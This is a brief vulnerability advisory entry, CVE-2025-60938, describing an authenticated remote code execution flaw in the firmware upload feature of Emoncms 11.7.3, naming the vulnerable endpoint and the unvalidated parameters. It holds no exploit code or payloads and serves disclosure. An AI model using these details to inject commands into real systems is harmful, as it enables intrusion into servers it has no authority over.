CVE-2025-60938

Description

Emoncms 11.7.3 has a remote code execution vulnerability in the firmware upload feature that allows authenticated users to execute arbitrary commands on the target system. The vulnerability stems from insufficient input validation of user-controlled parameters including filename, port, baud_rate, core, and autoreset within the /admin/upload-custom-firmware endpoint.
